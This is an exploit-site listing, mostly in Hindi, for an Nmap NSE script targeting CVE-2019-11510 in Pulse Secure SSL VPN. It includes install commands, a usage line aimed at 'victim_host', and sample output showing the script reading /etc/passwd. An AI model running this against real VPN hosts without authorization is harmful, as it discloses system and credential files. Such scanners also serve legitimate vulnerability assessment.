Exploit for http-pulse_ssl_vpn.nse

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-R00TPGP-HTTP-PULSE_SSL_VPN.NSE
## सारांश

Pulse Secure SSL VPN के विशेष रूप से तैयार किए गए HTTP संसाधन अनुरोधों के माध्यम से फ़ाइल प्रकटीकरण का पता लगाने के लिए सरल NSE स्क्रिप्ट। यह शोषण प्रूफ ऑफ कॉन्सेप्ट के रूप में /etc/passwd पढ़ता है। यह कमजोरी प्रभावित करती है (8.1R15.1, 8.2 से पहले 8.2R12.1, 8.3 से पहले 8.3R7.1, और 9.0 से पहले 9.0R3.4)।

## स्थापना

$ git clone https://github.com/r00tpgp/http-pulse_ssl_vpn.nse.git $ cd http-pulse_ssl_vpn.nse/ $ sudo cp http-pulse_ssl_vpn.nse /usr/share/nmap/scripts/

## उपयोग

$ sudo nmap -n -p 443 --script http-pulse_ssl_vpn -n victim_host

पोर्ट स्थिति सेवा 443/tcp खुला https | http-pulse_ssl_vpn: | असुरक्षित: | Pulse Secure SSL VPN का विशेष रूप से तैयार किए गए HTTP संसाधन अनुरोधों के माध्यम से फ़ाइल प्रकटीकरण | स्थिति: असुरक्षित | आईडी: CVE:CVE-2019-11510 | Pulse Secure SSL VPN का विशेष रूप से तैयार किए गए HTTP संसाधन अनुरोधों के माध्यम से फ़ाइल प्रकटीकरण। | यह शोषण प्रूफ ऑफ कॉन्सेप्ट के रूप में /etc/passwd पढ़ता है। | यह कमजोरी प्रभावित करती है (8.1R15.1, 8.2 से पहले 8.2R12.1, 8.3 से पहले 8.3R7.1, और 9.0 से पहले 9.0R3.4) |  
| प्रकटीकरण तिथि: 2019-04-24 | संदर्भ: | http://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html | http://www.securityfocus.com/bid/108073 |_ https://vulners.com/cve/CVE-2019-11510

Nmap पूर्ण: 1 IP पता (1 होस्ट ऊपर) 1.81 सेकंड में स्कैन किया गया